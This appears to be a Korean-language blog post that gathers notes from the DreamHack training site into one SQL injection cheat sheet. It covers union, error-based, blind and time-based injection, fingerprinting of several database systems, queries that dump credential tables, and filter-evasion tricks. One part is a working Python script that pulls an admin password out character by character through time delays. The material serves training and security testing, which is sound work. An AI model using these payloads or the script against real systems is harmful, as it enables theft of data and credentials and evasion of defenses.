예전에 DreamHack SQL Injection 파트에서 필요한 부분만 노션에 정리해놨던 것을 한 페이지에서 찾아 볼 수 있게끔 통합해봤습니다. https://dreamhack.io/lecture/roadmaps/13
수동으로 SQL Injection을 찾거나 Recon 할 때 유용하게 쓰일 듯 합니다.
🌟 Union SQL Injection#
다수의 SELECT 구문의 결과를 결합합니다. 이전 SELECT 구문 과 UNION SELECT 구문의 결과 컬럼의 수가 같아야 합니다.
SELECT * FROM UserTable UNION SELECT "skitttles", "skitttles PW";
/*
+-----------+--------------+
| username | password |
+-----------+--------------+
| admin | admin |
| guest | guest |
| skitttles | skitttles PW |
+-----------+--------------+
3 rows in set (0.01 sec)
*/
Select id from users where id='' union select pw from users where id='admin'-- ' and upw=''
MSSQL 등 특정 DBMS에서는 이전 컬럼과 UNION SELECT 구문의 컬럼의 타입이 같아야 합니다.
SELECT 'ABC' UNION SELECT 123;
/*
Conversion failed when converting the varchar value 'ABC' to data type int.
*/
🌟 Subquery#
서브 쿼리에서는 SELECT 구문 만 사용 가능합니다. SELECT 구문이 아닌 구문에서 SQL Injection이 발생해도 Subquery의 SELECT 구문을 사용하여 테이블의 데이터에 접근할 수 있습니다.
SELECT 1,2,3,(SELECT 456);
/*
+---+---+---+--------------+
| 1 | 2 | 3 | (SELECT 456) |
+---+---+---+--------------+
| 1 | 2 | 3 | 456 |
+---+---+---+--------------+
1 row in set (0.00 sec)
*/
COLUMNS 절#
칼럼 절에서 사용 시 단일 행(Single row), 단일 컬럼(Singloe Column)의 결과가 반환 되도록 해야 합니다.
SELECT username, (SELECT "ABCD") FROM users;
/*
+----------+-----------------+
| username | (select "ABCD") |
+----------+-----------------+
| admin | ABCD |
| guest | ABCD |
+----------+-----------------+
2 rows in set (0.00 sec)
*/
SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;
-- ERROR 1242 (21000): Subquery returns more than 1 row
SELECT username, (SELECT "ABCD", 1234) FROM users;
-- ERROR 1241 (21000): Operand should contain 1 column(s)
FROM 절#
다중 행, 다중 컬럼의 결과를 사용 가능합니다.
SELECT * FROM (SELECT *, 1234 FROM users) as u;
/*
+----------+------+
| username | 1234 |
+----------+------+
| admin | 1234 |
| guest | 1234 |
+----------+------+
2 rows in set (0.00 sec)
*/
WHERE 절#
다중 행의 결과를 사용 가능합니다.
SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");
/*
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| guest | guest |
+----------+----------+
2 rows in set (0.00 sec)
*/
🌟 Error Based#
Syntax Error와 같이 DBMS에서 해당 쿼리가 실행되기 전에 검증 가능한 에러가 아닌, Runtime 중에 발생하는 에러를 이용합니다.
extractvalue#
XPath 조건식을 지정해서 해당하는 XML 노드의 값을 반환합니다.
- 사용 방법
EXTRACTVALUE(XML 형식의 값, XPath 조건식)
- 예시
SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST; /* - BOOK_XML의 내용 <STORE> <BOOK> <TITLE>어린 왕자</TITLE> <AUTHOR>앙투안 드 생택쥐페리</AUTHOR> <PRICE>9,800</PRICE> </BOOK> </STORE> - 예시 쿼리 결과 어린 왕자 */ SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a'); /* +-----------------------------------------------+ | extractvalue('<a>test</a> <b>abcd</b>', '/a') | +-----------------------------------------------+ | test | +-----------------------------------------------+ 1 row in set (0.00 sec) */
두번째 인자에 올바르지 않은 XPATH 식을 입력하게 되면 올바르지 않은 XPATH 식이라는 에러와 함께 해당 인자가 함께 출력됩니다.
SELECT extractvalue(1, ':abcd');
-- ERROR 1105 (HY000): XPATH syntax error: ':abcd'
-- ":" 로 시작하면 올바르지 않은 XPATH 식
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
서브 쿼리를 통해 원하는 테이블의 데이터를 추출
mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
/*
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
*/
MySQL#
SELECT updatexml(null,concat(0x0a,version()),null);
/*
ERROR 1105 (HY000): XPATH syntax error: '
5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/
SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
/*
ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>'
*/
MSSQL#
SELECT convert(int,@@version);
SELECT cast((SELECT @@version) as int);
/*
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86)
Feb 20 2014 19:20:46
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
' to data type int.
*/
Oracle#
SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
/*
ORA-20000: Oracle Text error:
DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 183
ORA-06512: at "CTXSYS.DRITHSX", line 555
ORA-06512: at line 1
*/
SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual;
/*
ORA-53044: invalid tag: ORACLE DATABASE 18C EXPRESS EDITION RELEASE 18.0.0.0.0 - PRODUCTION
ORA-06512: at "ORDSYS.ORDERROR", line 5
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 1390
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 475
ORA-06512: at "ORDSYS.ORD_DICOM_ADMIN_PRV", line 8075
ORA-06512: at "ORDSYS.ORD_DICOM", line 756
ORA-06512: at line 1
*/
🌟 Blind SQL Injection#
기본#
mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
/*
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
*/
IF 구문 또한 많이 사용합니다.
MySQL#
SELECT IF(1=1, True, False);
/*
+----------------------+
| IF(1=1, True, False) |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)
*/
SQLite#
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;
/*
true
*/
MSSQL#
if (SELECT 'test') = 'test' SELECT 1234;
/*
Execution time: 0 sec, rows selected: 1, rows affected: 0, absolute service time: 0,17 sec, absolute service time: 0,17 sec
(No column name)
1 1234
*/
Application Logic#
아래와 같은 테이블이 있습니다.
select * from users;
/*
+----------+------------------------+
| username | password |
+----------+------------------------+
| admin | Password_for_admin |
| guest | guest_Password |
+----------+------------------------+
2 rows in set (0.00 sec)
*/
UNION 구문을 이용해 참/거짓을 판별하여 Blind SQL Injection을 할 수 있습니다.
/?username=' union select 'admin' -- -
▶▶ True
/?username=' union select 'not admin' -- -
▶▶ False
/?username=' union select if(substr(password,1,1)='A', 'admin', 'not admin') from users where username='admin' -- -
▶▶ False
/?username=' union select if(substr(password,1,1)='B', 'admin', 'not admin') from users where username='admin' -- -
▶▶ False
...
/?username=' union select if(substr(password,1,1)='P', 'admin', 'not admin') from users where username='admin' -- -
▶▶ True
...
/?username=' union select if(substr(password,2,1)='a', 'admin', 'not admin') from users where username='admin' -- -
▶▶ True
🌟 Time Based Blind SQL Injection#
DBMS에서 제공하는 함수를 이용하거나 무거운 연산과정을 발생시켜 쿼리 처리 시간을 지연시키는 Heavy query 등이 있습니다.
SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (1.00 sec)
*/
SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
| 0 |
+----------------------+
1 row in set (0.00 sec)
*/
MySQL#
sleep 함수
SLEEP(duration)
/*
mysql> SELECT SLEEP(1);
+----------+
| SLEEP(1) |
+----------+
| 0 |
+----------+
1 row in set (1.00 sec)
*/
benchmark 함수 expr 식을 count 수만큼 실행하며 시간 지연이 발생합니다.
BENCHMARK(count, expr)
SELECT BENCHMARK(40000000,SHA1(1));
/*
+-----------------------------+
| BENCHMARK(40000000,SHA1(1)) |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (10.78 sec)
*/
information_schema.tables
과 같이 많은 수의 데이터가 포함된 테이블을 연산 과정에 포함 시켜 시간을 지연 시킵니다.
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
/*
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.41 sec)
*/
충분한 시간 지연이 발생하기에 데이터가 적은 경우에는 테이블을 여러 번 추가합니다.
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B) as heavy;
/*
+-------+
| heavy |
+-------+
| 85264 |
+-------+
1 row in set (0.01 sec)
*/
SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;
/*
+----------+
| heavy |
+----------+
| 24897088 |
+----------+
1 row in set (1.38 sec)
*/
MSSQL#
waitfor
waitfor delay 'time_to_pass';
/*
> SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
Execution time: 1,02 sec, rows selected: 0, rows affected: 0, absolute service time: 1,17 sec, absolute service time: 1,16 sec
*/
Heavy query
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
/*
Execution time: 6,36 sec, rows selected: 1, rows affected: 0, absolute service time: 6,53 sec, absolute service time: 6,53 sec
*/
SQLite#
Heavy query : RANDOMBLOB에 의해 많은 수의 데이터가 생성되며, 변환 과정과 함수를 거치며 시간이 지연됩니다.
LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
/*
sqlite> .timer ON
sqlite> SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972
*/
🌟 Error Based Blind SQL Injection#
MySQL에서 처리할 수있는 DOUBLE 타입의 최대 값을 넘겨 에러를 발생시키는 연산을 이용한 방법으로, if 구문 첫번째 매개변수에 평가 할 식을 위치시킵니다.
select if(1=1, 9e307*2,0);
/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/
select if(1=0, 9e307*2,0);
/*
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.00 sec)
*/
🌟 Short-circuit evaluation#
A 식과 B 식이 있을 때 AND 연산은 모두 참이 되어야 결과가 참이 됩니다. 이때, A가 거짓이라면 B는 연산을 하지 않더라도 결과가 거짓이라는 것을 알 수 있기 때문에 실제로 B 식을 수행하지 않는 것을 의미합니다. A에 평가할 식을 위치시킵니다.
mysql> SELECT 0 AND SLEEP(1);
/*
+----------------+
| 0 AND SLEEP(1) |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
*/
mysql> SELECT 1 AND SLEEP(10);
/*
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
| 0 |
+-----------------+
1 row in set (10.04 sec)
*/
mysql> SELECT 1=1 or 9e307*2;
/*
+----------------+
| 1=1 or 9e307*2 |
+----------------+
| 1 |
+----------------+
1 row in set (0.00 sec)
*/
mysql> SELECT 1=0 or 9e307*2;
/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/
🌟 Blind SQL Injection Script#
#!/usr/bin/env python3
import requests
URL = "<http://sqltest.skitttles.me>"
DATA = ""
for index in range(1, 100):
for chars in range(32, 127):
payload = "/?username=' or if((select ord(substr(password,%s,1)) from users where username='admin')=%s, sleep(2), 0)-- -" %(index, chars)
addr = URL + payload
ret = requests.get(addr)
loadTime = ret.elapsed.total_seconds()
if loadTime > 1.9:
DATA += chr(chars)
print(DATA)
break
print(DATA)
🌟 DBMS Fingerprinting#
▶ 상황 별 페이로드#
결과 값이 출력 될 때 DBMS 별로 버전을 나타내는 함수 및 데이터는 다릅니다.
@@version
version()
결과 값이 출력 되지 않지만 에러가 출력 될 때 에러 메세지를 통해 DBMS를 파악합니다.
select 1 union select 1, 2;
-- MySQL => ERROR 1222 (21000): The used SELECT statements have a different number of columns
(select * from not_exists_table)
-- SQLite => Error: no such table: not_exists_table
결과 값이 출력 되지 않을 때
-- True / False를 확인 가능한 경우, Blind로 함수, 조건문을 사용해 테스트합니다.
mid(@@version, 1, 1)='5';
substr(version(), 1, 1)='P';
출력이 존재하지 않는 경우
-- Time Based 구문을 사용합니다. sleep 함수를 지원하지 않는 DBMS도 존재합니다.
sleep(10)
pg_sleep(10)
▶ MySQL#
Version#
select @@version; # select version();
/*
+-------------------------+
| @@version |
+-------------------------+
| 5.7.29-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
*/
Error#
select 1 union select 1, 2;
/*
ERROR 1222 (21000): The used SELECT statements have a different number of columns
*/
Blind#
@@version
-- => '5.7.29-0ubuntu0.16.04.'
mid(@@version, 1, 1)
-- => '5'
select mid(@@version, 1, 1)='5';
/*
+------------------------+
| mid(@@version,1,1)='5' |
+------------------------+
| 1 |
+------------------------+
1 row in set (0.00 sec)
*/
select mid(@@version, 1, 1)='6';
/*
+------------------------+
| mid(@@version,1,1)='6' |
+------------------------+
| 0 |
+------------------------+
1 row in set (0.00 sec)
*/
Time Based#
mysql> select sleep(10);
/*
+-----------+
| sleep(10) |
+-----------+
| 0 |
+-----------+
1 row in set (10.01 sec)
*/
▶ PostgreSQL#
Version#
select version();
/*
version
--------
PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
(1 row)
*/
Error#
select 1 union select 1, 2;
/*
ERROR: each UNION query must have the same number of columns
LINE 1: select 1 union select 1, 2;
*/
Blind#
version()
-- => 'PostgreSQL ...'
substr(version(), 1, 1)
-- => 'P'
select substr(version(), 1, 1)='P';
/*
?column?
----------
t
(1 row)
*/
select substr(version(), 1, 1)='Q';
/*
?column?
----------
f
(1 row)
*/
Time Based#
select pg_sleep(10);
/*
pg_sleep
----------
(1 row)
*/
▶ MSSQL#
Version#
select @@version;
/*
Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
Nov 30 2018 12:57:58
Copyright (C) 2017 Microsoft Corporation
Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
(1 rows affected)
*/
Error#
select 1 union select 1, 2;
/*
Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
*/
Blind#
@@version
-- => 'Microsoft SQL Server...',
substring(@@version, 1, 1)
-- 'M'
select 1 from test where substring(@@version, 1, 1)='M';
/*
-----------
1
(1 rows affected)
*/
select 1 from test where substring(@@version, 1, 1)='N';
go;
/*
-----------
(0 rows affected)
*/
Time Based#
select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)
▶ SQLite#
Version#
select sqlite_version();
-- 3.11.0
Error#
select 1 union select 1, 2;
-- Error: SELECTs to the left and right of UNION do not have the same number of result columns
Blind SQL Injection#
sqlite_version()
-- => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
select substr(sqlite_version(), 1, 1)='3';
-- 1
select substr(sqlite_version(), 1, 1)='4';
-- 0
Time Based SQL Injection#
SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));
0
Run Time: real 9.740 user 7.983349 sys 1.743972
🌟 System Tables#
▶ MySQL#
MySQL은 스키마와 데이터베이스가 동일하며, 기본적으로 information_schema
, mysql
, performance_schema
, sys
데이터베이스가 있습니다.
show databases;
/*
+--------------------+
| Database |
+--------------------+
| information_schema |
| skitttles | # 이용자 정의 데이터베이스
| mysql |
| performance_schema |
| sys |
+--------------------+
*/
schema 정보#
select TABLE_SCHEMA from information_schema.tables group by TABLE_SCHEMA;
/*
+--------------------+
| TABLE_SCHEMA |
+--------------------+
| information_schema |
| skitttles |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
*/
Table 정보#
select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES;
/*
+--------------------+----------------+
| TABLE_SCHEMA | TABLE_NAME |
+--------------------+----------------+
| information_schema | CHARACTER_SETS |
...
| skitttles | users |
| mysql | db |
...
+--------------------+----------------+
292 rows in set (0.01 sec)
*/
Column 정보#
select TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS;
/*
+--------------------+----------------+--------------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------------+----------------+--------------------+
| information_schema | CHARACTER_SETS | CHARACTER_SET_NAME |
...
| skitttles | users | uid |
| skitttles | users | upw |
...
| mysql | db | Db |
| mysql | db | User |
...
+--------------------+----------------+--------------------+
3132 rows in set (0.07 sec)
*/
실시간 실행 쿼리 확인#
select * from information_schema.PROCESSLIST;
/*
+-------------------------------------------------+
| info |
+-------------------------------------------------+
| select info from information_schema.PROCESSLIST |
+-------------------------------------------------+
1 row in set (0.00 sec)
*/
mselect user, db, command, current_statement from sys.session;
/*
mysql> select user,current_statement from sys.session;
+----------------+------------------------------------------------+
| user | current_statement |
+----------------+------------------------------------------------+
| root@localhost | select user,current_statement from sys.session |
+----------------+------------------------------------------------+
1 row in set (0.05 sec)
*/
DBMS 계정 정보#
select GRANTEE,PRIVILEGE_TYPE,IS_GRANTABLE from information_schema.USER_PRIVILEGES;
/*
+-------------------------+-------------------------+--------------+
| GRANTEE | PRIVILEGE_TYPE | IS_GRANTABLE |
+-------------------------+-------------------------+--------------+
| 'root'@'localhost' | SELECT | YES |
...
| 'root'@'localhost' | SUPER | YES |
...
| 'user_test'@'localhost' | USAGE | NO |
+-------------------------+-------------------------+--------------+
58 rows in set (0.00 sec)
*/
select User, authentication_string from mysql.user;
/*
+------------------+-------------------------------------------+
| User | authentication_string |
+------------------+-------------------------------------------+
| root | *... |
| mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| user_test | *... |
+------------------+-------------------------------------------+
4 rows in set (0.00 sec)
*/
▶ PostgreSQL#
PostgreSQL은 스키마와 데이터베이스가 다르며 해당하는 정보는 아래의 쿼리를 통해 확인할 수 있습니다.
select datname from pg_database;
/*
datname
-----------
postgres
template1
template0
(3 rows)
*/
postgres> select nspname from pg_catalog.pg_namespace;
/*
nspname
--------------------
pg_toast
pg_temp_1
pg_toast_temp_1
pg_catalog
public
information_schema
(6 rows)
*/
주요 정보를 담고 있는 테이블을 포함한 스키마는 pg_catalog
, information_schema
가 있습니다.
select table_name from information_schema.tables where table_schema='pg_catalog';
/*
table_name
---------------------------------
pg_shadow
pg_settings
pg_database
pg_stat_activity
...
*/
postgres> select table_name from information_schema.tables where table_schema='information_schema';
/*
table_name
---------------------------------------
schemata
tables
columns
*/
pg_catalog database#
DBMS 계정 정보
select usename, passwd from pg_catalog.pg_shadow;
/*
usename | passwd
----------+-------------------------------------
postgres | md5df6802cb10f4000bf81de27261c1155f
(1 row)
*/
setting 정보
select name, setting from pg_catalog.pg_settings;
/*
name | setting
----------------------------------------+------------------------------------------
allow_system_table_mods | off
application_name | psql
*/
database 정보
select datname from pg_catalog.pg_database;
/*
datname
-----------
postgres
template1
template0
(3 rows)
*/
실시간 실행 쿼리 확인
postgres> select usename, query from pg_catalog.pg_stat_activity;
/*
usename | query
----------+---------------------------------------------------------
postgres |
|
postgres | select usename, query from pg_catalog.pg_stat_activity;
|
|
|
*/
information_schema database#
schema 정보
select catalog_name, schema_name, schema_owner from information_schema.schemata;
/*
catalog_name | schema_name | schema_owner
--------------+--------------------+--------------
postgres | information_schema | postgres
postgres | public | postgres
postgres | pg_catalog | postgres
postgres | pg_toast_temp_1 | postgres
postgres | pg_temp_1 | postgres
postgres | pg_toast | postgres
(6 rows)
*/
table 정보
select table_schema, table_name from information_schema.tables;
/*
table_schema | table_name
--------------------+---------------------------------------
pg_catalog | pg_statistic
...
information_schem | information_schema_catalog_name
...
*/
column 정보
select table_schema, table_name, column_name from information_schema.columns;
/*
table_schema | table_name | column_name
--------------------+-------------------------+------------------
pg_catalog | pg_stat_user_indexes | relid
...
information_schema | view_routine_usage | specific_name
...
*/
▶ MSSQL#
Database 정보
SELECT name FROM master..sysdatabases;
/*
name
-------
master
tempdb
model
msdb
skitttles # 이용자 정의 데이터베이스 (예시)
*/
SELECT DB_NAME(number);
/*
number
0 = 현재 데이터베이스
수를 변경하며 다른 데이터베이스를 조회할 수 있습니다.
*/
Table 정보
SELECT name FROM skitttles..sysobjects WHERE xtype = 'U';
# xtype='U' 는 이용자 정의 테이블을 의미합니다.
/*
name
-------
users
*/
SELECT table_name FROM skitttles.information_schema.tables;
/*
table_name
-----------
users
*/
Column 정보
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
/*
name
-----
uid
upw
*/
SELECT table_name, column_name FROM skitttles.information_schema.columns;
/*
table_name column_name
-------------------------
users uid
users upw
*/
DBMS 계정 정보
SELECT name, password_hash FROM master.sys.sql_logins;
/*
name password_hash
--------------------------
sa NULL
skitttles NULL
*/
SELECT * FROM master..syslogins;
▶ Oracle#
databases 정보
SELECT DISTINCT owner FROM all_tables
table 정보
SELECT owner, table_name FROM all_tables
Column 정보
SELECT column_name FROM all_tab_columns WHERE table_name = 'users'
DBMS 계정 정보
SELECT * FROM all_users
▶ SQLite#
SQLite에서는 sqlite_master
시스템 테이블을 이용할 수 있습니다.
해당 테이블에는 생성되어 있는 테이블 등의 정보와 sql 를 획득할 수 있습니다.
sqli.header on;
select * from sqlite_master;
/*
type|name|tbl_name|rootpage|sql
table|users|users|2|CREATE TABLE users (uid text, upw text)
*/
🌟 WAF Bypass#
대소문자 검사 미흡#
UnIoN SeLecT 1,2,3
selECT SlEep(5)
탐지 시 처리 미흡#
UNunionION SELselectECT 1,2 --
-- => UNION SELECT 1,2 --
문자열 검사 미흡#
mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
/*
+------------------+--------------------+---------------+--------------+
| reverse('nimda') | concat('adm','in') | x'61646d696e' | 0x61646d696e |
+------------------+--------------------+---------------+--------------+
| admin | admin | admin | admin |
+------------------+--------------------+---------------+--------------+
1 row in set (0.00 sec)
*/
연산자 검사 미흡#
*^, =, !=, %, /, , &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있습니다.
mysql> select 1 || 1;
/*
+--------+
| 1 || 1 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
*/
공백 탐지#
mysql> SELECT/**/'abc';
/*
+-----+
| abc |
+-----+
| abc |
+-----+
1 row in set (0.00 sec)
*/
mysql> select`username`,(password)from`users`WHERE`username`='admin';
/*
+----------+----------------+
| username | password |
+----------+----------------+
| admin | admin_password |
+----------+----------------+
1 row in set (0.00 sec)
*/